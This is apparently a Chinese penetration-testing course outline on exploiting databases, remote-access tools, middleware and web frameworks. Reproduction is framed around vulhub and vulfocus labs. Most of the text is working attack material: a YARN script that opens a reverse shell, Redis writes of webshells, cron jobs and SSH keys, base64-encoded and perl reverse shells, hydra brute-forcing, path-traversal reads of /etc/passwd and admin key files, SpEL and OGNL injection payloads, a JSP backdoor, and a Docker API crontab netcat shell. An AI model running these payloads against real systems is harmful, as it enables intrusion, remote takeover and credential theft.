目录
Redis-未授权访问-WebShell&任务&密匙&RCE等
-libssh (2222端口)身份验证绕过(CVE-2018-10933)
Zabbix CVE-2022-23131 登录绕过漏洞复现
数据库安全
知识点:
1、服务攻防-数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
5、Redis-配置不当未授权三重奏&RCE两漏洞
章节内容:
常见服务应用的安全测试:
a:配置不当-未授权访问
b:安全机制-特定安全漏洞
c:安全机制-弱口令爆破攻击
前置知识:
应用服务安全测试流程:见图
A:判断服务开放情况-端口扫描&组合应用
B:判断服务类型归属-数据库&文件传输&通讯等
C:判断服务利用方式-特定漏洞&未授权&弱口令等
Mysql-未授权访问-CVE-2012-2122利用
复现环境:vulhub 内置端口3306
for i in `seq 1 1000`;do mysql -uroot -pwrong -h your -ip -P3306; done
Hadoop-未授权访问-内置配合命令执行RCE
复现环境:vulfocus 内置端口50010
import requests
target='http://xx.xx.xx.xx:xxxx/'
lhost='xx.xx.xx.xx' #put your local host ip here ,and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id':app_id,
'application-name':'get-shell',
'am-container-spec':{
'commands':{
'command':'/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type':'YARN',
}
requests.post(url,json=data)
Redis-未授权访问-WebShell&任务&密匙&RCE等
1.写WebShell需得到Web路径 内置端口:6379
利用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
dbsave #保存执行
save #保存执行
注意:部分目录权限没读写权限
2.写定时任务反弹shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1\n\n\n"
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
3.写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/ssh/
(echo -e "\n\n",cat id_rsa.pub;echo -e "\n\n")> key.txt
cat key.txt|redis-cli -h xx.xx.xx.xx -x set xxx
config set dir /root/ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@xx.xx.xx.xx
4.RCE自动化利用脚本-vulfocus
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r xx.xx.xx.xx(目标地址) -p xxxx -L xx.xx.xx.xx -P xxxx -f
RedisModulesSDK/exp.so -c "id"
5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令
eval 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io");local io=io_l();local f=io.open("id","r");local res=f.read("*a");f.close();return res' 0
知识点:
a:服务攻防-数据库类型安全
b:influxdb-未授权访问-jwt验证
c:H2database-未授权访问-配置不当
d:CouchDB-权限绕过配合RCE-漏洞
e:ElasticSearch-文件写入&RCE漏洞
章节内容:
常见服务应用的安全测试:
A:配置不当-未授权访问
B:安全机制-特定安全漏洞
C:安全机制-弱口令爆破攻击
前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
influxdb-未授权访问-Jwt验证不当
默认端口:8086,8088
influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式,在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥未空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行sql语句
1.借助https://jwt.io/来生成jwt token:vulhub
{
"alg":"HS256",
"typ":"JWT"
}
{
"username":"admin",
"exp":1676346267
}
2.发送数据包触发未授权
POST /query HTTP/1.1
Host:your ip
,,,
加入jwt空密钥
,,,
db=sample&q=show users
H2database-未授权访问-配置不当
默认端口:20051
H2database是一款java内存数据库,多用于单元测试。H2database自带一个Web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring h2.console.enable=true
spring h2.console.setting.web-allow-others=true
利用这个管理页面,我们可以进行JDNI注入攻击,进而在目标环境下执行任意命令。
a:下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
b:生成执行RMI Payload-URL
-C 执行命令 -A 服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A xx.xx.xx.xx
c:填入URL提交执行
javax.naming.InitialContext
rmi://xx.xx.xx.xx:xxxx/kd1rns
CouchDB-权限绕过配合RCE-漏洞
默认端口:5984
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,Javascript作为查询语言,MapReduce和HTTP作为API的nosql数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)
-CouchDB-权限绕过-CVE-2017-12635
1.先创建用户
Post:/_users/org.couchdb.user.vulhub
{
"type":"user",
"name":"vulhub",
"roles":["_admin"],
"roles":[],
"password":"vulhub"
}
2.登录用户授权
Get:/_utils/
vulhub vulhub
-CouchDB-权限绕过RCE-CVE-2017-12636
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
ElasticSearch-文件写入&RCE-漏洞
默认端口:9200 9300
-ElasticSearch RCE CVE-2014-3120
A:漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据
Post /website/blog/ HTTP/1.1
Host:your ip
...
{
"name":"xxx"
}
B:直接发包触发执行命令
-ElasticSearch 文件写入 wooyun_2015_110216
9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
a:发现9200端口存在elasticsearch页面,8080存在tomcat目录
b:利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/
curl -XPOST http://xx.xx.xx.xx:xxxx/yz jsp/1 -d'
{
"<%new java.io.RandomAccessFile(application.getReadPath(new String(new byte[]{47,116,101,115,116,46,106,115,112}))new String(new byte[]{114,119})) write(request.getParameter(new String(new byte[]{102})).getBytes()),%>"."test"
}
curl -XPUT 'http://xx.xx.xx.xx:xxxx/_snapshot/yz.jsp' -d '{
"type":"fs",
"settings"{
"location":"/usr/local/tomcat/webapps/wwwroot",
"compress":false
}'
curl -XPUT "http://xx.xx.xx.xx:xxxx/_snapshot/yz.jsp"-d'{
"indices":"yz.jsp",
"ignore_unavailable":"true",
"include_global_state":false
}'
c:访问8080端口snapshot-yz.jsp文件写入代码到test.jsp中
http://xx.xx.xx.xx:xxxx/wwwroot/indices/yz.jsp.snapshot-yz.jsp?f=success
http://xx.xx.xx.xx:xxxx/wwwroot/test.jsp
应用协议
知识点:
1,服务攻防-远程控制&文件传输等
2,远程控制-RDP&ROP&弱口令&漏洞
3,文件传输-FTP&Rsync&弱口令&漏洞
章节内容
常见服务应用的安全测试
a:配置不当-未授权访问
b:安全机制-特定安全漏洞
c:安全机制-弱口令爆破攻击
前置知识:
应用服务安全测试流程,如图
A:判断服务开放情况-扫描端口&组合应用deng
B:判断服务类型归属-数据库&文件传输&通讯等
C:判断服务利用方式-特定漏洞&未授权访问&弱口令等
口令猜解-Hydra-FTP&RDP&SSH
https://github.com/vanhauser-thc/thc-hydra
hydra是一个自动化爆破工具,暴力破解弱密码,是一个支持多协议的爆破工具,已经集成到kaliLinux中,直接在终端打开即可。
-s POST 可通过这个参数指定非默认端口
-l LOGIN 指定破解的用户,对特定用户破解
-L FILE 指定用户名字典
-p PASS 小写,指定密码破解,少用,一般是采用密码字典
-P FILE 大写,指定密码字典
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C FILE 使用冒号分割格式,例如”登录名:密码“来代替-L/-P参数
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16
-w TIME 设置最大超时的时间,单位s,默认是30s
-v/-V 显示详细过程
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap3 mssql mysql oracle-listener postgres nntp socket5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等
例子:
FTP(21):文件传输协议
RDP(3389):Windows远程桌面协议
SSH(22):Linux安全外壳协议
hydra -L test -P 10top1K.txt xx.xx.xx.xx ftp -V
hydra -l root -P 10top1K.txt xx.xx.xx.xx ssh -V
hydra -l administrator -P 10top1K.txt xx.xx.xx.xx rdp -V
配置不当-未授权访问-Rsync文件备份
rsync是Linux下一款数据备份工具,支持通过rsync协议,ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
判断:rsync rsync://xx.xx.xx.xx:xxxx/
利用:
-读取文件:rsync rsync://xx.xx.xx.xx:xxxx/src/
-下载文件:rsync rsync://xx.xx.xx.xx:xxxx/src/etc/passwd/
-上传文件:rsync -av passwd rsync://xx.xx.xx.xx:xxxx/src/tmp/passwd
反弹shell:
a:获取信息:下载到本地
rsync rsync://xx.xx.xx.xx:xxxx/src/etc/crontab /root/cron.txt
b:创建文件:
touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1
chmod +x shell
c:上传文件:
rsync -av shell rsync://xx.xx.xx.xx:xxxx/src/etc/cron.hourly
d:等待接受反弹
高端课程-直接搜哈-MSF&Fofaviewer
https://github.com/wgpsec/fofa_viewer
msfconsole
use auxiliary/scanner/rsync/modules_list
set rhosts file:/root/ips.txt
set threads 10
run
协议漏洞-应用软件-FTP&Proftpd搭建
https://github.com/t0kx/exploit-CVE-2015-3306
python exploit.py --host xx.xx.xx.xx --port xxxx --path "/var/www/html"
https://xx.xx.xx.xx:xxxx/backdoor.php?cmd=id
协议漏洞-应用软件-SSH&libssh&Openssh
-Openssh CVE-2014-0160 CVE-2018-15473 CVE-2020-15778
CVE-2014-0160版本很少
CVE-2020-15778价值不高
CVE-2018-15473用户枚举
https://github.com/Rhynorater/CVE-2018-15473-Exploit
pip3 install -r requirements.txt
pip3 install paramiko==2.4.1
python sshUsernameEnumExploit.py --port xxxx --userList exampleInput.txt xx.xx.xx.xx
-libssh (2222端口)身份验证绕过(CVE-2018-10933)
https://www.seebug.org/vulhub/ssvid-97614
python libssh.py xx.xx.xx.xx xxxx "id"
知识点:
1,远程控制-第三方应用安全
2,三方应用-向日葵&VNC&TV
3,设备平台-Zabbix&Kibana漏洞
远程控制-向日葵&VNC&TeamViewer
向日葵RCE
https://github.com/Mr-xn/sunlogin_rce
xrkRce.exe -h xx.xx.xx.xx -t scan
xrkRce.exe -h xx.xx.xx.xx -t rce -p xxxx -c "ipconfig"
TeamViewer
<!DOCTYPE html>
<html>
<head>
<title>cve-2020-13699</title>
</head>
<body>
<p>Welcome to here</p>
<iframe style="height:10px;width:1px" src='teamviewer10: --play \\attacker-IP\share\fake.tvs'></iframe>
</body>
</html>
-VNC 口令问题&未授权
MSF内置口令及未授权测试
设备平台-Zabbix-CVE-2022-23131
Zabbix是由Alexei Vladishev开发的一种网络监视、管理系统,基于Server-Client架构。是一款服务器监控软件,其由server,agent,web等模块组成,其中web模块由php编写,用来显示数据库中的结果。默认端口:10051
Zabbix CVE-2022-23131 登录绕过漏洞复现
https://github.com/L0ading-x/cve-2022-23131
python3 zabbix.py target Admin
然后修改Cookie,使用saml登录即可
CVE-2017-2824 CVE-2020-11800
设备平台-Kibana-CVE-2019-7609
Kibana为Elasticsearch设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用漏洞可以在目标服务器上执行任意代码。默认端口:5601
https://github.com/LandGrey/CVE-2019-7609
.es(*).props.(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch/tmp/success");process.exit()//').props(lable.__proto__env.NODE__OPTIONS='--require /proc/self/environ')
中间件安全
知识点:
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoss,WebSphere,Jenkins,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
a:中间件-IIS-短文件&解析&蓝屏等
b:中间件-Nginx-文件解析&命令执行等
c:中间件-Apache-RCE&目录遍历&文件解析等
d:中间件-Tomcat-弱口令&文件上传&文件包含等
章节内容:
常见中间件的安全测试:
1.配置不当-解析&弱口令
2.安全机制-特定安全漏洞
3.安全机制-弱口令爆破攻击
4.安全应用-框架特定安全漏洞
前置知识:
中间件安全测试流程:
1,判断中间件信息-名称&版本&三方
2,判断中间件问题-配置不当&公开漏洞
3,判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
中间件-IIS-短文件&解析&蓝屏等
A:短文件:信息搜集
B:文件解析:还有点用
C:HTTP.SYS:蓝屏崩溃
D:CVE-2017-7269 条件过老
中间件-Nginx-文件解析&命令执行等
1.后缀解析 文件名解析
配置不当:该漏洞与Nginx,php版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547:影响版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7
2.CVE_2021_23017无EXP
3.CVE_2017_7529意义不大
中间件-Apache-RCE&目录遍历&文件解析等
Apache HTTP server 是美国阿帕奇(apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现Apache HTTP Server 2.4.50中针对CVE-2021-41773的修复不够充分。攻击者可以使用路径遍历攻击将URL映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了CGI脚本,则这可能允许远程代码执行。此问题仅影响Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
1,cve_2021_42013 RCE
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
反弹shell命令:
echo:perl -e 'use Socket;$i="xx.xx.xx.xx";
$p=5566;socket(S,PF_INEF,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'
2,cve_2021_41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可以利用该漏洞读取到Web目录以外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
Burp:/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%32%65/etc/passwd
3,cve_2017_15715文件解析
Apache HTTPD是一款HTTP服务器,其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x\0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
4,cve_2017_9798 价值不高
5,cve_ 2018_11759 价值不高
6,cve_2021_37580 插件不高
中间件-Tomcat-弱口令&文件上传&文件包含等
a:弱口令猜解
配置不当导致后台弱口令,可通过上传jsp压缩包名的war拿shell
b:cve-2017-12615 文件上传
当存在漏洞的Tomcat运行在windows/Linux主机上,且启用HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限
影响版本:Apache Tomcat 7.0.0~7.0.79
PUT /1.jsp/HTTP/1.1
shell代码
c:cve_2020_1938文件包含
Apache Tomcat AJP协议(默认8009端口)由于存在现实缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件,若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat6.*
Tomcat7.* < 7.0.100
Tomcat8.* < 8.5.51
Tomcat9.* < 9.0.31
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
D:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py xx.xx.xx.xx -p xxxx -f WEB-INF/web.xml
d:cve_2020_11996 拒绝服务
危害过大,权限无关,意义不大
e:cve_2020_9484 反序列化
利用条件苛刻,意义不大
中间件-Fofaviewer&Apache_RCE
server="Apache/2.4.49"
1,中间件-Weblogic安全
2,中间件-JBoss安全
3,中间件-弱口令爆破攻击
4,中间件-框架特定安全漏洞
中间件Weblogic-工具搜哈
探针默认端口:7001,Weblogic是Oracle公司推出的J2EE应用服务器
cve_2017_3506 工具
cve_2018_2893 工具
cve_2018_3245 工具
cve_2020_14882 工具
cve_2021_2394 反序列化
https://github.com/lz2y/CVE-2021-2394
https://github.com/welk1n/JNDI-Injection-Exploit
vps生成ldap监听端口
编码:bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1
执行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A xx.xx.xx.xx
发送数据触发
java -jar CVE_2021_2394.jar xx.xx.xx.xx xxxx ldap://xx.xx.xx.xx:xxxx/x1nfdy
中间件-JBoss-工具脚本搜哈
JBoss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,Red Hat JBoss Application Server 是一款基于JavaEE 的开源应用服务器。
1.CVE-2017-12149
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
curl http://xx.xx.xx.xx:8080/invoker/readonly --data-binary @poc.ser
2.CVE-2017-7504
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.ser
curl http://xx.xx.xx.xx:8080/jbossmq-httpil/HTTPServerlLServlet --data-binary @1.ser
3.弱口令 未授权访问
中间件-Jenkins-工具脚本
探针默认端口:8080,Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。
1、cve_2017_1000353 JDK-1.8.0_291 其他版本失效
https://github.com/vulhub/CVE-2017-1000353
bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
python exploit.py http://xx.xx.xx.xx:xxxx jenkins_poc.ser
2、cve-2018-1000861
https://github.com/adamyordan/cve-2018-1003000-jenkins-rce-poc
bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1
python3 -m http.server 8888
python2 exp.py http://xx.xx.xx.xx:xxxx/"curl -o /tmp/1.sh"
http:xx.xx.xx.xx:xxxx/shell.txt''
python2 exp.py http://xx.xx.xx.xx:xxxx/"bash /tmp/1.sh"
3、cve_2019_100300需要用户账号密码
中间件-GlassFish-脚本工具
探针默认端口:4848,GlassFish是一款强健的商业兼容应用服务器
1.CVE-2017-1000028
读密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains\domain1\config\admin-keyfile
读windows文件:/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
读linux文件:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
2.简单口令
配合-fofa_viewer-工具脚本
a:配合GlassFish读取测试
b:配合Jenkins-CVE-2018-1000861
知识点:
A:中间件-k8s安全
B:中间件-Jetty安全
C:中间件-Docker安全
D:中间件-WebSphere安全
中间件-k8s
Kubernetes简称k8s,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实验状况检查、服务发现和负载均衡等。
https://blog.csdn.net/w1590191166/article/details/122028001
中间件-Jetty
Eclipse Jetty是一个开源的servlet容器,它是基于JAVA的Web容器提供运行环境。
CVE-2021-28164
http://xx.xx.xx.xx:xxxx/%2e/WEB-INF/web.xml
CVE-2021-28169
http://xx.xx.xx.xx:xxxx/static?/WEB-INF/web.xml
CVE-2021-34429
http://xx.xx.xx.xx:xxxx/%u002e/WEB-INF/web.xml
中间件-Docker
Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shell,并拿到宿主机的root权限,可以直接操作宿主机文件。它从容器中逃了出来,因此我们形象的称为Docker逃逸漏洞。
a:容器判断:
是否存在.dockerenv文件
os -alh /.dockerenv
查询系统进程的cgroup信息:
cat /proc/1/cgroup
b:容器逃逸漏洞:权限提升
由内核漏洞引起--Dirty Cow (CVE-2016-5195)
由Docker软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
由配置不当引起——开启privilege(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、socket通信方式
-CVE-2016-5195
https://github.com/gebl/dirtycow-docker-vdso
https://www.ichunqiu.com.experiment/catalog?id=100295
使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
其中test:为临时名称,可以自定义填写。-p:第一个端口为本机的端口,第二个端口为Docker的端口。-itd:意思是再后台运行,交互式运行,并且输出当前的信息
/bin/bash:调用shell
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash
进入镜像内部
docker exec -it test /bin/bash
编译并运行 POC
cd /dirtycow-vdso/
make
./0xdeadbeef
CVE-2019-5736
参考:https://blog.51cto.com/u_15060465/4336524
复现:curl
https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
A:下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
B:修改编译生成Payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
C:将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并执行
docker cp main ecca872da49d:/home
docker exec -it ecca872da49d bash
cd /home/
chmod 777 main
./main
D:再次进入docker镜像后监听即可收到
docker exec -it 镜像ID bash
nc -lvvp
c:容器安全漏洞
docker未授权访问漏洞-vulhub-exp.py
import docker
client=docker.DockerClient(base_url='http://目标ip:2375/')
data=client.containers.run('alpine:latest',r"'sh -c"echo'* * * * * /usr/bin/nc 反弹IP 端口 -e /bin/sh'>> /tmp/etc/crontabs/root""'.remove=True volumes={'/etc' {'bind':'/tmp/etc','mode':'rw'}})
中间件-WebSphere
WebSphere Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的变成模型中进行选择,以便更好地协调项目需求与变成模型功能和开发人员技能。
端口:9080——web(http)应用访问端口、9443——web(https)应用访问端口、9060——管理后台访问端口、9043——管理控制台安全端口、8880——SOAP连接器端口等等。
漏洞探测在8880端口,后台是9060端口,解析是9080端口
拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
停止镜像:docker stop $(docker ps -aq)
1、CVE-2015-7450反序列化
工具:http://xx.xx.xx.xx:8880/
2、弱口令上传拿shell
在6.x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登录后台。
-websphere/ websphere
-system/ manager
访问:http://xx.xx.xx.xx:9060/
登录:admin
上传:war马
启动:1_war
连接:http://xx.xx.xx.xx:9080/1/1.jsp
3、CVE-2020-4450:无利用POC/EXP
框架安全
a,开发框架-PHP-Laravel-Thinkphp
b,开发框架-Javaweb-St2-Spring
c,开发框架-Python-django-flask
d,开发框架-Javascript-Node.js-JQuery
常见语言开发框架
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
Java:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
PHP-开发框架安全-Thinkphp&Laravel
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。
CVE-2021-3129
Laravel <= 8.4.2
https://github.com/zhzyker/CVE-2021-3129
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
Thinkphp-3.x RCE-5.x RCE
Thinkphp是一套开源的、基于PHP的轻量级Web应用开发框架
武器库-Thinkphp专检
Javaweb-开发框架安全-Spring&Struts2
Struts2是一个基于MVC设计模式的Web应用框架
1、2020前漏洞
武器库-st2专检
2、cve_2020_17530
脚本:https://github.com/YanMu2020/s2-062
手工:
POST /.action HTTP/1.1 Host: 192.168.52.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 833 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
3、cve_2021_31805
https://github.com/YanMu2020/s2-062
Spring框架是由于软件开发的复杂性而创建的
a:cve_2017_4971-Spring Web Flow
Spring WebFlow 2.4.0-2.4.4
https://paper.seebug.org/322/
_eventld_confirm=&_csrf=e06e1d86-e083-45f7-b700-567b5f715d30&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub
b:cve_2018_1273-Spring Data Commons
Spring Data Commons 1.13-1.13.10(Ingalls SR10)
Spring Data REST 2.6-2.6.10(Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5(Kay SR5)
Spring Data REST 3.0-3.0.5(Kay SR5)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://10.0.0.128:8000/test.txt")]=chybeta&password=chybeta&repeatedPassword=chybeta
c:CVE-2022-22963 Spring Cloud Function Spel 表达式注入
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,Function as a service)平台。
Connection:close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ")
Django
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模板T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。
a:cve_2019_14234
单引号已注入成功,SQL语句报错:
/admin/vuln/collection/?detail__a%27b=123
创建cmd_exec:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
调用cmd_exec执行命令:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping hqrwsz.dnslog.cn%27--%20
b:CVE-2021-35042
